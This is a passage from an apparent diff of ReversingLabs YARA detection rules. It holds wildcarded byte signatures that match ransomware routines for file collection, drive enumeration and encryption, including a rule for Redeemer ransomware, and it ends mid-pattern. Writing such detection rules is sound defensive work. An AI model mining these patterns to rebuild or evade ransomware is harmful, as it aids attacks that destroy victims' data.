44 24 ?? 50 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 + } + $collect_files_recursively_p5 = { + 8B 7C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 74 24 ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? 56 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? + ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 74 24 ?? 85 DB 89 44 24 ?? 89 0C 24 74 ?? 6A ?? + 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? EB ?? 31 C0 BE ?? ?? ?? ?? 83 F8 ?? 0F 83 ?? ?? ?? ?? 89 44 + 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? + ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F2 0F 10 44 24 ?? 8B 44 + 24 ?? F2 0F 11 44 24 ?? 39 C7 89 44 24 ?? 8B 4C 24 ?? 89 0C 24 75 ?? 57 FF 74 24 ?? + 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 7C 24 ?? ?? 75 ?? 8B 06 8B 76 ?? B9 ?? ?? + ?? ?? BA ?? ?? ?? ?? 31 C8 31 D6 09 C6 74 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 52 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B 5C + 24 ?? 8B 7C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 00 + 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 89 C6 85 C0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 44 + } + $collect_files_recursively_p6 = { + 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 66 2E 0F 1F 84 00 ?? + ?? ?? ?? 0F 1F 44 00 ?? 8B 84 24 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 + ?? 8B 84 24 ?? ?? ?? ?? F0 FF 08 0F 85 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 31 FF BB ?? ?? ?? ?? 85 FF 0F 85 ?? ?? ?? ?? BE ?? ?? + ?? ?? 57 89 5C 24 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 74 24 ?? 89 7C 24 ?? 89 7C 24 + ?? 6A ?? 57 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8B 74 24 ?? 66 C7 44 + 30 ?? ?? ?? C7 04 30 ?? ?? ?? ?? 8B 45 ?? 83 C6 ?? F2 0F 10 44 24 ?? 89 74 24 ?? 8B + 08 8B 58 ?? F2 0F 11 44 24 ?? 8B 44 24 ?? 89 4C 24 ?? 29 F0 39 D8 73 ?? 53 56 8D 44 + 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? 8B 44 24 ?? 01 F0 53 FF 74 24 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? F2 0F 10 44 24 ?? 01 DE 89 B4 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? + ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 56 53 57 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 0F B6 84 24 ?? ?? ?? ?? 3C ?? 88 44 24 ?? 0F 85 ?? ?? ?? ?? 8D 84 24 + ?? ?? ?? ?? 50 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7C 24 ?? 85 + FF 0F 84 ?? ?? ?? ?? 8B 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 5C 24 ?? 53 E8 ?? ?? ?? ?? 83 + C4 ?? 53 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 44 + 24 ?? 8B 4C 24 ?? 8B 5C 24 ?? 85 F6 89 44 24 ?? 89 4C 24 ?? 74 ?? 6A ?? 56 57 E8 ?? + ?? ?? ?? 83 C4 ?? 85 DB 74 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? + 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 + } + $encrypt_files_full_v1_p1 = { + 55 89 E5 53 57 56 83 E4 ?? 81 EC ?? ?? ?? ?? 89 54 24 ?? 89 4C 24 ?? 6A ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 89 C7 89 44 24 ?? + 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 47 ?? 89 44 24 ?? EB ?? 66 2E 0F + 1F 84 00 ?? ?? ?? ?? 0F 1F 44 00 ?? 8B 06 01 F8 53 FF 74 24 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 01 DF 89 7E ?? 8B 7C 24 ?? 68 ?? ?? ?? ?? 57 FF 74 24 ?? 8D 44 24 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 0F B6 44 24 ?? 3C ?? 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 85 F6 0F 84 ?? + ?? ?? ?? 8B 45 ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? F2 0F 10 40 ?? F3 0F 7E 48 ?? F2 + 0F 11 41 ?? F2 0F 10 40 ?? 66 0F D6 49 ?? F2 0F 11 41 ?? F2 0F 10 00 8B 42 ?? F2 0F + 11 01 F3 0F 7E 02 89 44 24 ?? A1 ?? ?? ?? ?? 66 0F D6 44 24 ?? 0F B6 00 3C ?? 75 ?? + E8 ?? ?? ?? ?? F2 0F 10 44 24 ?? F3 0F 7E 4C 24 ?? 8B 44 24 ?? 0F B6 5C 24 ?? 0F B7 + 54 24 ?? 81 FE ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 + 44 24 ?? 66 0F D6 8C 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 + 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 + ?? F2 0F 11 44 24 ?? F3 0F 7E 44 24 ?? 89 41 ?? 66 0F D6 41 ?? C7 41 ?? ?? ?? ?? ?? + C7 01 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 + 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 + 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 + 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 88 59 ?? 66 89 51 ?? C7 + 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 89 F0 89 7C + } + $encrypt_files_full_v1_p2 = { + 24 ?? 89 7C 24 ?? C1 E8 ?? 89 44 24 ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 89 F3 83 E3 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 00 3C ?? 75 ?? 8D 4C + 24 ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 44 00 ?? F3 0F 6F 64 + 24 ?? F3 0F 6F 94 24 ?? ?? ?? ?? F3 0F 6F 84 24 ?? ?? ?? ?? F3 0F 6F BC 24 ?? ?? ?? + ?? B8 ?? ?? ?? ?? 66 0F 6F F4 66 0F 6F DA 66 0F 6F E8 66 0F 7F 7C 24 ?? 0F 1F 84 00 + ?? ?? ?? ?? 66 0F FE F3 48 66 0F EF EE 66 0F 6F CD 66 0F 72 F5 ?? 66 0F 72 D1 ?? 66 + 0F EB E9 66 0F FE FD 66 0F EF DF 66 0F 6F CB 66 0F 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB + D9 66 0F FE F3 66 0F EF EE 66 0F 70 F6 ?? 66 0F 6F CD 66 0F 72 F5 ?? 66 0F 72 D1 ?? + 66 0F EB E9 66 0F FE FD 66 0F 70 ED ?? 66 0F EF DF 66 0F 70 FF ?? 66 0F 6F CB 66 0F + 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB D9 66 0F FE F3 66 0F EF EE 66 0F 6F CD 66 0F 72 F5 + ?? 66 0F 72 D1 ?? 66 0F EB E9 66 0F FE FD 66 0F EF DF 66 0F 6F CB 66 0F 72 F3 ?? 66 + 0F 72 D1 ?? 66 0F EB D9 66 0F FE F3 66 0F EF EE 66 0F 70 F6 ?? 66 0F 6F CD 66 0F 72 + F5 ?? 66 0F 72 D1 ?? 66 0F EB E9 66 0F FE FD 66 0F 70 ED ?? 66 0F EF DF 66 0F 70 FF + ?? 66 0F 6F CB 66 0F 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB D9 0F 85 ?? ?? ?? ?? 66 0F FE + 7C 24 ?? 66 0F 7E C0 66 0F FE F4 66 0F FE DA 66 0F FE E8 40 F3 0F 7F B4 24 ?? ?? ?? + ?? F3 0F 7F 9C 24 ?? ?? ?? ?? F3 0F 7F BC 24 ?? ?? ?? ?? F3 0F 7F AC 24 ?? ?? ?? ?? + 89 84 24 ?? ?? ?? ?? 89 F2 31 C9 83 E2 ?? 83 FB ?? 8D 04 17 0F 82 ?? ?? ?? ?? 31 C9 + } + $encrypt_files_full_v1_p3 = { + 83 FB ?? 72 ?? 03 54 24 ?? 89 F7 89 D9 83 E7 ?? 89 7C 24 ?? 29 F9 31 FF 66 2E 0F 1F + 84 00 ?? ?? ?? ?? 66 90 F3 0F 6F 44 3A ?? F3 0F 6F 94 3C ?? ?? ?? ?? F3 0F 6F 0C 3A + F3 0F 6F 9C 3C ?? ?? ?? ?? 66 0F EF D0 66 0F EF D9 F3 0F 7F 54 3A ?? F3 0F 7F 1C 3A + 83 C7 ?? 39 F9 75 ?? 8B 54 24 ?? 85 D2 74 ?? 83 FA ?? 72 ?? 89 F2 89 CF 89 D9 83 E2 + ?? 29 D1 90 F3 0F 7E 04 38 F3 0F 7E 8C 3C ?? ?? ?? ?? 66 0F EF C8 66 0F D6 0C 38 83 + C7 ?? 39 F9 75 ?? 85 D2 74 ?? 66 2E 0F 1F 84 00 ?? ?? ?? ?? 0F 1F 40 ?? 0F B6 94 0C + ?? ?? ?? ?? 30 14 08 41 39 CB 75 ?? 88 9C 24 ?? ?? ?? ?? 89 F3 8B 74 24 ?? 8B 46 ?? + 8B 7E ?? 29 F8 39 D8 0F 87 ?? ?? ?? ?? 53 8B 7C 24 ?? 57 56 8D 44 24 ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 0F B6 44 24 ?? 3C ?? 0F 84 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 89 54 + 24 ?? 89 4C 24 ?? 88 44 24 ?? A1 ?? ?? ?? ?? 0F B6 00 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 0F 84 ?? ?? ?? ?? F2 0F 10 44 24 ?? 89 C7 BB ?? ?? ?? ?? F2 0F 11 00 EB + ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 57 FF 74 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 44 24 + ?? 3C ?? 75 ?? 83 7C 24 ?? ?? 74 ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? EB ?? 3C ?? 75 ?? + 8B 5C 24 ?? 8B 73 ?? 8B 3B 8B 06 57 FF D0 83 C4 ?? 8B 46 ?? 85 C0 74 ?? FF 76 ?? 50 + 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 31 FF 6A ?? 68 ?? + ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 F8 89 DA 8D 65 ?? 5E 5F 5B 5D C3 + } + $encrypt_files_full_v2_p1 = { + 55 89 E5 53 57 56 83 E4 ?? 81 EC ?? ?? ?? ?? 89 D7 89 4C 24 ?? 6A ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 89 C3 89 44 24 ?? 0F 85 + ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 43 ?? 89 7C 24 ?? 89 44 24 ?? EB ?? 66 + 2E 0F 1F 84 00 ?? ?? ?? ?? 0F 1F 00 8B 06 01 F8 53 FF 74 24 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 01 DF 8B 5C 24 ?? 89 7E ?? 89 F7 68 ?? ?? ?? ?? 53 FF 74 24 ?? 8D 44 24 ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 44 24 ?? 3C ?? 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 85 F6 0F + 84 ?? ?? ?? ?? 8B 45 ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? F2 0F 10 40 ?? F3 0F 7E 48 + ?? F2 0F 11 41 ?? F2 0F 10 40 ?? 66 0F D6 49 ?? F2 0F 11 41 ?? F2 0F 10 00 8B 42 ?? + F2 0F 11 01 F3 0F 7E 02 89 44 24 ?? A1 ?? ?? ?? ?? 66 0F D6 44 24 ?? 0F B6 00 3C ?? + 75 ?? E8 ?? ?? ?? ?? F2 0F 10 44 24 ?? F3 0F 7E 4C 24 ?? 8B 44 24 ?? 8D 8C 24 ?? ?? + ?? ?? 0F B7 54 24 ?? 81 FE ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? + 66 0F D6 8C 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 0F 11 84 + 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 0F + 11 44 24 ?? 89 41 ?? F3 0F 7E 44 24 ?? 0F B6 44 24 ?? 66 0F D6 41 ?? C7 41 ?? ?? ?? + ?? ?? C7 01 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? + ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? + ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? + ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 88 41 ?? 66 89 51 + ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 89 F0 + } + $encrypt_files_full_v2_p2 = { + 89 5C 24 ?? 89 5C 24 ?? C1 E8 ?? 89 44 24 ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 89 F3 83 E3 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 00 3C ?? 75 ?? + 8D 4C 24 ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 00 F3 0F 6F 64 + 24 ?? F3 0F 6F 94 24 ?? ?? ?? ?? F3 0F 6F 84 24 ?? ?? ?? ?? F3 0F 6F BC 24 ?? ?? ?? + ?? B8 ?? ?? ?? ?? 66 0F 6F F4 66 0F 6F DA 66 0F 6F E8 66 0F 7F 7C 24 ?? 0F 1F 84 00 + ?? ?? ?? ?? 66 0F FE F3 48 66 0F EF EE 66 0F 6F CD 66 0F 72 F5 ?? 66 0F 72 D1 ?? 66 + 0F EB E9 66 0F FE FD 66 0F EF DF 66 0F 6F CB 66 0F 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB + D9 66 0F FE F3 66 0F EF EE 66 0F 70 F6 ?? 66 0F 6F CD 66 0F 72 F5 ?? 66 0F 72 D1 ?? + 66 0F EB E9 66 0F FE FD 66 0F 70 ED ?? 66 0F EF DF 66 0F 70 FF ?? 66 0F 6F CB 66 0F + 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB D9 66 0F FE F3 66 0F EF EE 66 0F 6F CD 66 0F 72 F5 + ?? 66 0F 72 D1 ?? 66 0F EB E9 66 0F FE FD 66 0F EF DF 66 0F 6F CB 66 0F 72 F3 ?? 66 + 0F 72 D1 ?? 66 0F EB D9 66 0F FE F3 66 0F EF EE 66 0F 70 F6 ?? 66 0F 6F CD 66 0F 72 + F5 ?? 66 0F 72 D1 ?? 66 0F EB E9 66 0F FE FD 66 0F 70 ED ?? 66 0F EF DF 66 0F 70 FF + ?? 66 0F 6F CB 66 0F 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB D9 0F 85 ?? ?? ?? ?? 66 0F FE + 7C 24 ?? 66 0F 7E C0 66 0F FE F4 66 0F FE DA 66 0F FE E8 40 F3 0F 7F B4 24 ?? ?? ?? + ?? F3 0F 7F 9C 24 ?? ?? ?? ?? F3 0F 7F BC 24 ?? ?? ?? ?? F3 0F 7F AC 24 ?? ?? ?? ?? + 89 84 24 ?? ?? ?? ?? 8B 44 24 ?? 89 F2 31 C9 83 E2 ?? 83 FB ?? 8D 04 10 0F 82 ?? ?? + ?? ?? 31 C9 83 FB ?? 72 ?? 03 54 24 ?? 89 F7 89 D9 83 E7 ?? 89 7C 24 ?? 29 F9 31 FF + } + $encrypt_files_full_v2_p3 = { + 0F 1F 84 00 ?? ?? ?? ?? F3 0F 6F 44 3A ?? F3 0F 6F 94 3C ?? ?? ?? ?? F3 0F 6F 0C 3A + F3 0F 6F 9C 3C ?? ?? ?? ?? 66 0F EF D0 66 0F EF D9 F3 0F 7F 54 3A ?? F3 0F 7F 1C 3A + 83 C7 ?? 39 F9 75 ?? 8B 54 24 ?? 8B 7C 24 ?? 85 D2 74 ?? 83 FA ?? 72 ?? 89 F2 89 CF + 89 D9 83 E2 ?? 29 D1 66 2E 0F 1F 84 00 ?? ?? ?? ?? 0F 1F 00 F3 0F 7E 04 38 F3 0F 7E + 8C 3C ?? ?? ?? ?? 66 0F EF C8 66 0F D6 0C 38 83 C7 ?? 39 F9 75 ?? 8B 7C 24 ?? 85 D2 + 74 ?? 66 2E 0F 1F 84 00 ?? ?? ?? ?? 0F B6 94 0C ?? ?? ?? ?? 30 14 08 41 39 CB 75 ?? + 88 9C 24 ?? ?? ?? ?? 89 F3 8B 47 ?? 89 FE 8B 7F ?? 29 F8 39 D8 0F 87 ?? ?? ?? ?? 53 + 8B 5C 24 ?? 53 56 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 44 24 ?? 89 F7 3C ?? + 0F 84 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 89 54 24 ?? 89 4C 24 ?? 88 44 24 ?? A1 ?? + ?? ?? ?? 0F B6 00 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? F2 0F + 10 44 24 ?? 89 C7 BB ?? ?? ?? ?? F2 0F 11 00 EB ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 53 FF + 74 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 44 24 ?? 3C ?? 75 ?? 83 7C 24 ?? ?? 74 ?? + BB ?? ?? ?? ?? BF ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 8B 5C 24 ?? 8B 73 ?? 8B 3B 8B 06 57 + FF D0 83 C4 ?? 8B 46 ?? 85 C0 74 ?? FF 76 ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A + ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 31 FF 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? + 83 C4 ?? 89 F8 89 DA 8D 65 ?? 5E 5F 5B 5D C3 + } + + condition: + uint16( 0 ) == 0x5A4D and ( all of ( $collect_files_recursively_p* ) ) and ( $get_valid_drives ) and ( ( ( all of ( $encrypt_files_full_v1_p* ) ) ) or ( ( all of ( $encrypt_files_full_v2_p* ) ) ) ) +} +rule REVERSINGLABS_Win32_Ransomware_Redeemer : TC_DETECTION MALICIOUS MALWARE FILE +{ meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Redeemer ransomware." author = "ReversingLabs" - id = "dc8a745f-7150-57b7-9ddc-e5a1721d8c02" - date = "2020-08-05" - modified = "2023-11-08" + id = "080ab595-862b-5dc2-aaff-a0efd819a9fa" + date = "2022-01-17" + modified = "2022-01-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3082-L3098" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Redeemer.yara#L1-L105" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "42b068e85b3aff5e6dd5ec4979f546dc5338ebf8719d86c0641ffb8353959af9" + logic_hash = "28287f6620a2f7a90057d1f97947e065721119e26398fe659331dc5fe99761de" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Redeemer" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? + 8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 89 B5 ?? ?? + ?? ?? 89 B5 ?? ?? ?? ?? 3B F7 0F 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 8B 3D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? + C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? + ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B + CC 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 + } + $encrypt_files_p1 = { + 80 FB ?? 0F 85 ?? ?? ?? ?? 83 EC ?? 8D 55 ?? 8B CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? + C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 33 D2 + 6A ?? 66 89 10 8D 45 ?? 52 50 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 + 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 33 D2 6A ?? 66 89 10 8D 45 ?? + 52 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 8D 45 ?? 3B C6 + 74 ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 C0 C7 45 ?? + ?? ?? ?? ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C6 45 + } + $encrypt_files_p2 = { + 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 35 ?? ?? ?? ?? 33 C0 83 7D ?? ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? + 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF D6 85 C0 0F 85 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 50 FF D6 8B 85 ?? ?? ?? + ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 45 ?? 83 C4 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 + C0 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E + 5B 8B 4D 